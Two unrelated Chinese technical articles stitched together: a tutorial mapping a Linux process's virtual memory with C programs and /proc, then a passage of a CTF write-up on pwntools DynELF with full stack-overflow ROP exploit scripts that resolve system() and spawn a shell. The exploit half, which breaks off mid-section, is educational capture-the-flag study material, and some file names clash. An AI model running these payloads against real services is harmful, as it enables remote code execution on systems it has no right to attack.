* **下文描述均基于此系统，在其他系统上不一定成功**
使用工具：
* gcc
* gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
* objdump
* GNU objdump (GNU Binutils for Ubuntu) 2.24
* udcli
* udis86 1.7.2
* bc
* bc 1.06.95
## 栈
我们想要在图中找到的第一个东西是栈。我们知道在C语言中，局部变量位于栈中。因此，如果我们打印局部变量的地址，那么我们就应该能知道栈在虚拟内存中的位置。让我们使用这个程序（main-1.c）来找出栈的位置：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(void)
{
int a;
printf("Address of a: %p\n", (void *)&a);
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -pedantic -Werror main-0.c -o 0
julien@holberton:~/holberton/w/hackthevm2$ ./0
Address of a: 0x7ffd14b8bd9c
julien@holberton:~/holberton/w/hackthevm2$
当我们比较其他元素地址时，这将是我们的第一个参考点。
## 堆
当使用malloc为变量分配空间时，将会使用到堆。添加一行代码使用malloc分配空间并查看malloc返回的内存地址位置（main-1.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(void)
{
int a;
void *p;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -pedantic -Werror main-1.c -o 1
julien@holberton:~/holberton/w/hackthevm2$ ./1
Address of a: 0x7ffd4204c554
Allocated space in the heap: 0x901010
julien@holberton:~/holberton/w/hackthevm2$
很明显堆地址（0x901010）远小于栈地址（0x7ffd4204c554）。此时我们可以画出草图（堆与栈）：
## 可执行代码区域
程序代码也在虚拟内存中。如果我们打印main函数的地址，我们可以知道程序代码与栈和堆的相对位置。看一下能否在堆下面找到程序代码（main-2.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(void)
{
int a;
void *p;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -Werror main-2.c -o 2
julien@holberton:~/holberton/w/hackthevm2$ ./2
Address of a: 0x7ffdced37d74
Allocated space in the heap: 0x2199010
Address of function main: 0x40060d
julien@holberton:~/holberton/w/hackthevm2$
似乎我们的程序地址（0x40060d）正如预期般位于堆地址（0x2199010）下面。
但是，让我们确保这是我们程序的实际代码，而不是某种指向另一个位置的指针。用objdump反汇编我们的程序2并查看main函数的“内存地址”：
julien@holberton:~/holberton/w/hackthevm2$ objdump -M intel -j .text -d 2 | grep '<main>:' -A 5
000000000040060d <main>:
40060d: 55 push rbp
40060e: 48 89 e5 mov rbp,rsp
400611: 48 83 ec 10 sub rsp,0x10
400615: 48 8d 45 f4 lea rax,[rbp-0xc]
400619: 48 89 c6 mov rsi,rax
**000000000040060d**
<main>
->我们找到完全相同的地址（0x40060d）。如果仍不确定，可以打印位于此地址的第一个字节，以确保它们与objdump的输出匹配（main-3.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(void)
{
int a;
void *p;
unsigned int i;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
printf("First bytes of the main function:\n\t");
for (i = 0; i < 15; i++)
{
printf("%02x ", ((unsigned char *)main)[i]);
}
printf("\n");
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -Werror main-3.c -o 3
julien@holberton:~/holberton/w/hackthevm2$ objdump -M intel -j .text -d 3 | grep '<main>:' -A 5
000000000040064d <main>:
40064d: 55 push rbp
40064e: 48 89 e5 mov rbp,rsp
400651: 48 83 ec 10 sub rsp,0x10
400655: 48 8d 45 f0 lea rax,[rbp-0x10]
400659: 48 89 c6 mov rsi,rax
julien@holberton:~/holberton/w/hackthevm2$ ./3
Address of a: 0x7ffeff0f13b0
Allocated space in the heap: 0x8b3010
Address of function main: 0x40064d
First bytes of the main function:
55 48 89 e5 48 83 ec 10 48 8d 45 f0 48 89 c6
julien@holberton:~/holberton/w/hackthevm2$ echo "55 48 89 e5 48 83 ec 10 48 8d 45 f0 48 89 c6" | udcli -64 -x -o 40064d
000000000040064d 55 push rbp
000000000040064e 4889e5 mov rbp, rsp
0000000000400651 4883ec10 sub rsp, 0x10
0000000000400655 488d45f0 lea rax, [rbp-0x10]
0000000000400659 4889c6 mov rsi, rax
julien@holberton:~/holberton/w/hackthevm2$
->可以看到程序打印出（和objdump）相同的地址和相同的内容。现在可以十分确定这是main函数地址。
[可以在此处下载Udis86反汇编程序库](http://udis86.sourceforge.net/ "可以在此处下载Udis86反汇编程序库")
以下是基于我们刚刚所了解的知识更新后的图表：
## 命令行参数和环境变量
main函数可以带参数：
* 命令行参数
* main函数的第一个参数（通常命名为argc或ac）是命令行参数的数量
* main函数的第二个参数（通常命名为argv或av）是一个指针数组指向输入的参数（C字符串）
* 环境变量
* main函数的第三个参数（通常命名为env或envp）是一个指针数组指向环境变量（C字符串）
让我们看看这些元素在进程的虚拟内存中的位置（main-4.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(int ac, char **av, char **env)
{
int a;
void *p;
int i;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
printf("First bytes of the main function:\n\t");
for (i = 0; i < 15; i++)
{
printf("%02x ", ((unsigned char *)main)[i]);
}
printf("\n");
printf("Address of the array of arguments: %p\n", (void *)av);
printf("Addresses of the arguments:\n\t");
for (i = 0; i < ac; i++)
{
printf("[%s]:%p ", av[i], av[i]);
}
printf("\n");
printf("Address of the array of environment variables: %p\n", (void *)env);
printf("Address of the first environment variable: %p\n", (void *)(env[0]));
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -Werror main-4.c -o 4
julien@holberton:~/holberton/w/hackthevm2$ ./4 Hello Holberton School!
Address of a: 0x7ffe7d6d8da0
Allocated space in the heap: 0xc8c010
Address of function main: 0x40069d
First bytes of the main function:
55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0
Address of the array of arguments: 0x7ffe7d6d8e98
Addresses of the arguments:
[./4]:0x7ffe7d6da373 [Hello]:0x7ffe7d6da377 [Holberton]:0x7ffe7d6da37d [School!]:0x7ffe7d6da387
Address of the array of environment variables: 0x7ffe7d6d8ec0
Address of the first environment variables:
[0x7ffe7d6da38f]:"XDG_VTNR=7"
[0x7ffe7d6da39a]:"XDG_SESSION_ID=c2"
[0x7ffe7d6da3ac]:"CLUTTER_IM_MODULE=xim"
julien@holberton:~/holberton/w/hackthevm2$
命令行参数和环境变量地址在栈之上，现在我们知道了确切的顺序： **stack** （ **0x7ffe7d6d8da0** ）< **argv** （
**0x7ffe7d6d8e98** ）< **env** （ **0x7ffe7d6d8ec0** ）< **arguments** （从
**0x7ffe7d6da373** 到 **0x7ffe7d6da387** + **8** （ **8** =字符串“school\0”的长度））<
**环境变量** （从 **0x7ffe7d6da38f** 开始）。
实际上，可以看到所有命令行参数在内存中彼此相邻，也紧挨着环境变量。
### argv和env数组是否彼此相邻？
argv数组有5个元素（命令行有4个元素，末尾有1个NULL元素（argv总是以NULL标记数组的结尾））。每个元素都是一个指向char型的指针，因为我们在64位机器上，所以指针是8个字节大小（如果你想确定，你可以使用C运算符sizeof（）来获得指针的大小）。所以我们的argv数组的大小为5
* 8 =
40。10进制中的40转换成16进制是0x28。如果我们将这个值加到数组的起始地址（0x7ffe7d6d8e98），将会得到0x7ffe7d6d8ec0（env数组的起始地址）！所以两个数组在内存中彼此相邻。
### 第一个命令行参数是否紧挨着存储在env数组之后？
为了确定这一点，我们需要知道env数组的大小。我们知道它以NULL指针结束，因此为了获得其元素的数量，我们只需要遍历它，检查“current”元素是否为NULL。这是更新后的C代码（main-5.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(int ac, char **av, char **env)
{
int a;
void *p;
int i;
int size;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
printf("First bytes of the main function:\n\t");
for (i = 0; i < 15; i++)
{
printf("%02x ", ((unsigned char *)main)[i]);
}
printf("\n");
printf("Address of the array of arguments: %p\n", (void *)av);
printf("Addresses of the arguments:\n\t");
for (i = 0; i < ac; i++)
{
printf("[%s]:%p ", av[i], av[i]);
}
printf("\n");
printf("Address of the array of environment variables: %p\n", (void *)env);
printf("Address of the first environment variables:\n");
for (i = 0; i < 3; i++)
{
printf("\t[%p]:\"%s\"\n", env[i], env[i]);
}
/* size of the env array */
i = 0;
while (env[i] != NULL)
{
i++;
}
i++; /* the NULL pointer */
size = i * sizeof(char *);
printf("Size of the array env: %d elements -> %d bytes (0x%x)\n", i, size, size);
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ ./5 Hello Betty Holberton!
Address of a: 0x7ffc77598acc
Allocated space in the heap: 0x2216010
Address of function main: 0x40069d
First bytes of the main function:
55 48 89 e5 48 83 ec 40 89 7d dc 48 89 75 d0
Address of the array of arguments: 0x7ffc77598bc8
Addresses of the arguments:
[./5]:0x7ffc7759a374 [Hello]:0x7ffc7759a378 [Betty]:0x7ffc7759a37e [Holberton!]:0x7ffc7759a384
Address of the array of environment variables: 0x7ffc77598bf0
Address of the first environment variables:
[0x7ffc7759a38f]:"XDG_VTNR=7"
[0x7ffc7759a39a]:"XDG_SESSION_ID=c2"
[0x7ffc7759a3ac]:"CLUTTER_IM_MODULE=xim"
Size of the array env: 62 elements -> 496 bytes (0x1f0)
julien@holberton:~/holberton/w/hackthevm2$ bc
bc 1.06.95
Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
This is free software with ABSOLUTELY NO WARRANTY.
For details type `warranty'.
obase=16
ibase=16
1F0+7FFC77598BF0
7FFC77598DE0
quit
julien@holberton:~/holberton/w/hackthevm2$
->0x7FFC77598DE0！=（但仍小于）0x7ffc7759a374。所以答案是否定的
更新图表：
## 栈真的向下生长吗？
让我们调用一个函数并证实这点！如果是真的，则调用函数的变量的内存地址将大于被调用函数的变量的内存地址（main-6.c）。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* f - print locations of various elements
*
* Returns: nothing
*/
void f(void)
{
int a;
int b;
int c;
a = 98;
b = 1024;
c = a * b;
printf("[f] a = %d, b = %d, c = a * b = %d\n", a, b, c);
printf("[f] Adresses of a: %p, b = %p, c = %p\n", (void *)&a, (void *)&b, (void *)&c);
}
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(int ac, char **av, char **env)
{
int a;
void *p;
int i;
int size;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
printf("First bytes of the main function:\n\t");
for (i = 0; i < 15; i++)
{
printf("%02x ", ((unsigned char *)main)[i]);
}
printf("\n");
printf("Address of the array of arguments: %p\n", (void *)av);
printf("Addresses of the arguments:\n\t");
for (i = 0; i < ac; i++)
{
printf("[%s]:%p ", av[i], av[i]);
}
printf("\n");
printf("Address of the array of environment variables: %p\n", (void *)env);
printf("Address of the first environment variables:\n");
for (i = 0; i < 3; i++)
{
printf("\t[%p]:\"%s\"\n", env[i], env[i]);
}
/* size of the env array */
i = 0;
while (env[i] != NULL)
{
i++;
}
i++; /* the NULL pointer */
size = i * sizeof(char *);
printf("Size of the array env: %d elements -> %d bytes (0x%x)\n", i, size, size);
f();
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -Werror main-6.c -o 6
julien@holberton:~/holberton/w/hackthevm2$ ./6
Address of a: 0x7ffdae53ea4c
Allocated space in the heap: 0xf32010
Address of function main: 0x4006f9
First bytes of the main function:
55 48 89 e5 48 83 ec 40 89 7d dc 48 89 75 d0
Address of the array of arguments: 0x7ffdae53eb48
Addresses of the arguments:
[./6]:0x7ffdae54038b
Address of the array of environment variables: 0x7ffdae53eb58
Address of the first environment variables:
[0x7ffdae54038f]:"XDG_VTNR=7"
[0x7ffdae54039a]:"XDG_SESSION_ID=c2"
[0x7ffdae5403ac]:"CLUTTER_IM_MODULE=xim"
Size of the array env: 62 elements -> 496 bytes (0x1f0)
[f] a = 98, b = 1024, c = a * b = 100352
[f] Adresses of a: 0x7ffdae53ea04, b = 0x7ffdae53ea08, c = 0x7ffdae53ea0c
julien@holberton:~/holberton/w/hackthevm2$
->是真的！（函数 **f** 中 **var a** 的地址）0x7ffdae53ea04 <0x7ffdae53ea4c（函数 **main** 中 **var a** 的地址）
现在更新我们的图表：
## /proc
让我们用/proc/[pid]/maps（ **man proc**
或参考本系列的第一篇文章，了解proc文件系统，如果你不知道它是什么）来仔细检查我们到目前为止找到的所有内容。
让我们在程序中添加一个getchar（）语句，以便我们可以查看它的“/proc”（main-7.c）：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/**
* f - print locations of various elements
*
* Returns: nothing
*/
void f(void)
{
int a;
int b;
int c;
a = 98;
b = 1024;
c = a * b;
printf("[f] a = %d, b = %d, c = a * b = %d\n", a, b, c);
printf("[f] Adresses of a: %p, b = %p, c = %p\n", (void *)&a, (void *)&b, (void *)&c);
}
/**
* main - print locations of various elements
*
* Return: EXIT_FAILURE if something failed. Otherwise EXIT_SUCCESS
*/
int main(int ac, char **av, char **env)
{
int a;
void *p;
int i;
int size;
printf("Address of a: %p\n", (void *)&a);
p = malloc(98);
if (p == NULL)
{
fprintf(stderr, "Can't malloc\n");
return (EXIT_FAILURE);
}
printf("Allocated space in the heap: %p\n", p);
printf("Address of function main: %p\n", (void *)main);
printf("First bytes of the main function:\n\t");
for (i = 0; i < 15; i++)
{
printf("%02x ", ((unsigned char *)main)[i]);
}
printf("\n");
printf("Address of the array of arguments: %p\n", (void *)av);
printf("Addresses of the arguments:\n\t");
for (i = 0; i < ac; i++)
{
printf("[%s]:%p ", av[i], av[i]);
}
printf("\n");
printf("Address of the array of environment variables: %p\n", (void *)env);
printf("Address of the first environment variables:\n");
for (i = 0; i < 3; i++)
{
printf("\t[%p]:\"%s\"\n", env[i], env[i]);
}
/* size of the env array */
i = 0;
while (env[i] != NULL)
{
i++;
}
i++; /* the NULL pointer */
size = i * sizeof(char *);
printf("Size of the array env: %d elements -> %d bytes (0x%x)\n", i, size, size);
f();
getchar();
return (EXIT_SUCCESS);
}
julien@holberton:~/holberton/w/hackthevm2$ gcc -Wall -Wextra -Werror main-7.c -o 7
julien@holberton:~/holberton/w/hackthevm2$ ./7 Rona is a Legend SRE
Address of a: 0x7fff16c8146c
Allocated space in the heap: 0x2050010
Address of function main: 0x400739
First bytes of the main function:
55 48 89 e5 48 83 ec 40 89 7d dc 48 89 75 d0
Address of the array of arguments: 0x7fff16c81568
Addresses of the arguments:
[./7]:0x7fff16c82376 [Rona]:0x7fff16c8237a [is]:0x7fff16c8237f [a]:0x7fff16c82382 [Legend]:0x7fff16c82384 [SRE]:0x7fff16c8238b
Address of the array of environment variables: 0x7fff16c815a0
Address of the first environment variables:
[0x7fff16c8238f]:"XDG_VTNR=7"
[0x7fff16c8239a]:"XDG_SESSION_ID=c2"
[0x7fff16c823ac]:"CLUTTER_IM_MODULE=xim"
Size of the array env: 62 elements -> 496 bytes (0x1f0)
[f] a = 98, b = 1024, c = a * b = 100352
[f] Adresses of a: 0x7fff16c81424, b = 0x7fff16c81428, c = 0x7fff16c8142c
julien@holberton:~$ ps aux | grep "./7" | grep -v grep
julien 5788 0.0 0.0 4336 628 pts/8 S+ 18:04 0:00 ./7 Rona is a Legend SRE
julien@holberton:~$ cat /proc/5788/maps
00400000-00401000 r-xp 00000000 08:01 171828 /home/julien/holberton/w/hackthevm2/7
00600000-00601000 r--p 00000000 08:01 171828 /home/julien/holberton/w/hackthevm2/7
00601000-00602000 rw-p 00001000 08:01 171828 /home/julien/holberton/w/hackthevm2/7
02050000-02071000 rw-p 00000000 00:00 0 [heap]
7f68caa1c000-7f68cabd6000 r-xp 00000000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f68cabd6000-7f68cadd6000 ---p 001ba000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f68cadd6000-7f68cadda000 r--p 001ba000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f68cadda000-7f68caddc000 rw-p 001be000 08:01 136253 /lib/x86_64-linux-gnu/libc-2.19.so
7f68caddc000-7f68cade1000 rw-p 00000000 00:00 0
7f68cade1000-7f68cae04000 r-xp 00000000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f68cafe8000-7f68cafeb000 rw-p 00000000 00:00 0
7f68cafff000-7f68cb003000 rw-p 00000000 00:00 0
7f68cb003000-7f68cb004000 r--p 00022000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f68cb004000-7f68cb005000 rw-p 00023000 08:01 136229 /lib/x86_64-linux-gnu/ld-2.19.so
7f68cb005000-7f68cb006000 rw-p 00000000 00:00 0
7fff16c62000-7fff16c83000 rw-p 00000000 00:00 0 [stack]
7fff16d07000-7fff16d09000 r--p 00000000 00:00 0 [vvar]
7fff16d09000-7fff16d0b000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
julien@holberton:~$
让我们来确定几件事：
* 栈起始于0x7fff16c62000，结束于0x7fff16c83000。我们的变量都在这个区域内（0x7fff16c8146c，0x7fff16c81424,0x7fff16c81428,0x7fff16c8142c）
* 堆起始于0x02050000，结束于0x02071000。我们分配的内存在此位置（0x2050010）
* 我们的代码（主函数）位于地址0x400739处，在以下区域内：
**00400000-00401000 r-xp 00000000 08:01 171828
/home/julien/holberton/w/hackthevm2/7**
它来自于文件/home/julien/holberton/w/hackthevm2/7（我们的可执行文件），并且该区域具有执行权限，这是合理的。
* 参数和环境变量（从 **0x7fff16c81568** 到 **0x7fff16c8238f + 0x1f0** ）位于从0x7fff16c62000开始到0x7fff16c83000的区域，，，栈！所以他们在栈中，而不是在栈之外。
这也带来了更多问题：
* 为什么我们的可执行文件“划分”为三个具有不同权限的区域？在下面这两个区域内有什么？
* 00600000-00601000 r--p 00000000 08:01 171828 /home/julien/holberton/w/hackthevm2/7
* 00601000-00602000 rw-p 00001000 08:01 171828 /home/julien/holberton/w/hackthevm2/7
* 其他那些区域是什么？
* 为什么我们分配的内存不在堆的最开始处（0x2050010 vs 02050000）？前16个字节被用来干什么？
还有一件事我们没有检查过：堆真的在向上增长吗？
以后我们会知道的！在我们结束本章之前，让我们用我们学到的所有东西来更新我们的图表：
</main> | 社区文章 |
# 【技术分享】借助DynELF实现无libc的漏洞利用小结
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[tianyi201612](http://bobao.360.cn/member/contribute?uid=2802113352)
预估稿费：400RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在没有目标系统libc文件的情况下，我们可以使用pwntools的DynELF模块来泄漏地址信息，从而获取到shell。本文针对linux下的puts和write，分别给出了实现DynELF关键函数leak的方法，并通过3道CTF题目介绍了这些方法的具体应用情况。
**DynELF**
DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块，其基本代码框架如下。
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
需要使用者进行的工作主要集中在leak函数的具体实现上，上面的代码只是个模板。其中，address就是leak函数要泄漏信息的所在地址，而payload就是触发目标程序泄漏address处信息的攻击代码。
**
**
**使用条件**
不管有没有libc文件，要想获得目标系统的system函数地址，首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时，由于我们是在对方内存中不断搜索地址信息，故我们需要这样的信息泄露漏洞能够被反复调用。以下是大致归纳的主要使用条件：
**1）目标程序存在可以泄露libc空间信息的漏洞，如read@got就指向libc地址空间内；**
**2）目标程序中存在的信息泄露漏洞能够反复触发，从而可以不断泄露libc地址空间内的信息。** ****
当然，以上仅仅是实现利用的基本条件，不同的目标程序和运行环境都会有一些坑需要绕过。接下来，我们主要针对write和puts这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题，给出相应的解决方法。
**write函数**
write函数原型是write(fd, addr,
len)，即将addr作为起始地址，读取len字节的数据到文件流fd（0表示标准输入流stdin、1表示标准输出流stdout）。write函数的优点是可以读取任意长度的内存信息，即它的打印长度只受len参数控制，缺点是需要传递3个参数，特别是在x64环境下，可能会带来一些困扰。
在x64环境下，函数的参数是通过寄存器传递的，rdi对应第一个参数，rsi对应第二个参数，rdx对应第三个参数，往往凑不出类似“pop rdi;
ret”、“pop rsi; ret”、“pop rdx;
ret”等3个传参的gadget。此时，可以考虑使用__libc_csu_init函数的通用gadget，具体原理请参见[文章](http://www.cnblogs.com/Ox9A82/p/5487725.html)。简单的说，就是通过__libc_csu_init函数的两段代码来实现3个参数的传递，这两段代码普遍存在于x64二进制程序中，只不过是间接地传递参数，而不像原来，是通过pop指令直接传递参数。
第一段代码如下：
.text:000000000040075A pop rbx #需置为0，为配合第二段代码的call指令寻址
.text:000000000040075B pop rbp #需置为1
.text:000000000040075C pop r12 #需置为要调用的函数地址，注意是got地址而不是plt地址，因为第二段代码中是call指令
.text:000000000040075E pop r13 #write函数的第三个参数
.text:0000000000400760 pop r14 #write函数的第二个参数
.text:0000000000400762 pop r15 #write函数的第一个参数
.text:0000000000400764 retn
第二段代码如下：
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]
这两段代码运行后，会将栈顶指针移动56字节，我们在栈中布置56个字节即可。
这样，我们便解决了write函数在leak信息中存在的问题，具体的应用会放到后面的3道题目中讲。
**puts函数**
puts的原型是puts(addr)，即将addr作为起始地址输出字符串，直到遇到“x00”字符为止。也就是说，puts函数输出的数据长度是不受控的，只要我们输出的信息中包含x00截断符，输出就会终止，且会自动将“n”追加到输出字符串的末尾，这是puts函数的缺点，而优点就是需要的参数少，只有1个，无论在x32还是x64环境下，都容易调用。
为了克服输入不受控这一缺点，我们考虑利用puts函数输出的字符串最后一位为“n“这一特点，分两种情况来解决。
**（1）puts输出完后就没有其他输出** ，在这种情况下的leak函数可以这么写。
def leak(address):
count = 0
data = ''
payload = xxx
p.send(payload)
print p.recvuntil('xxxn') #一定要在puts前释放完输出
up = ""
while True:
#由于接收完标志字符串结束的回车符后，就没有其他输出了，故先等待1秒钟，如果确实接收不到了，就说明输出结束了
#以便与不是标志字符串结束的回车符（0x0A）混淆，这也利用了recv函数的timeout参数，即当timeout结束后仍得不到输出，则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == 'n' and c == "": #接收到的上一个字符为回车符，而当前接收不到新字符，则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += "x00"
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
**（2）puts输出完后还有其他输出** ，在这种情况下的leak函数可以这么写。
def leak(address):
count = 0
data = ""
payload = xxx
p.send(payload)
print p.recvuntil("xxxn")) #一定要在puts前释放完输出
up = ""
while True:
c = p.recv(1)
count += 1
if up == 'n' and c == "x": #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += "x00"
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
**其他需要注意的地址**
在信息泄露过程中，由于循环制造溢出，故可能会导致栈结构发生不可预料的变化，可以尝试调用目标二进制程序的_start函数来重新开始程序以恢复栈。
**XDCTF2015-pwn200**
本题是32位linux下的二进制程序，无cookie，存在很明显的栈溢出漏洞，且可以循环泄露，符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了，只简要说一下
**借助DynELF实现利用的要点：**
1）调用write函数来泄露地址信息，比较方便；
2）32位linux下可以通过布置栈空间来构造函数参数，不用找gadget，比较方便；
3）在泄露完函数地址后，需要重新调用一下_start函数，用以恢复栈；
4）在实际调用system前，需要通过三次pop操作来将栈指针指向systemAddress，可以使用ropper或ROPgadget来完成。
接下来就直接给出利用代码。
from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress = 0x08048484
startaddress = 0x080483d0 #调用start函数，用以恢复栈
bssaddress = 0x0804a020 #用来写入“/bin/sh”字符串
def leak(address):
payload = "A" * 112
payload += p32(writeplt)
payload += p32(vulnaddress)
payload += p32(1)
payload += p32(address)
payload += p32(4)
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print "systemAddress:", hex(systemAddress)
#调用_start函数，恢复栈
payload1 = "A" * 112
payload1 += p32(startaddress)
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c #获取到的连续3次pop操作的gadget的地址
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()
**LCTF2016-pwn100**
本题是64位linux下的二进制程序，无cookie，也存在很明显的栈溢出漏洞，且可以循环泄露，符合我们使用DynELF的条件，但和上一题相比，存在两处差异：
**1）64位linux下的函数需要通过rop链将参数传入寄存器，而不是依靠栈布局；**
**2）puts函数与write函数不同，不能指定输出字符串的长度。**
根据上文给出的解决方法，构造利用脚本如下。
from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress = 0x4006b8
startaddress = 0x400550
poprdi = 0x400763
pop6address = 0x40075a
movcalladdress = 0x400740
waddress = 0x601000 #可写的地址，bss段地址在我这里好像不行，所以选了一个别的地址，应该只要不是readonly的地址都可以
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startaddress)
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n' and c == "":
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += 'x00'*56
payload1 += p64(startaddress)
payload1 = payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 = payload2.ljust(200, "B")
p.send(payload2)
p.interactive()
**RCTF2015-welpwn**
本题也是64位linux下的二进制程序，无cookie，也存在明显的栈溢出漏洞，且可以循环泄露，符合我们使用DynELF的条件，与其他两题的区别主要在于利用过程比较绕。
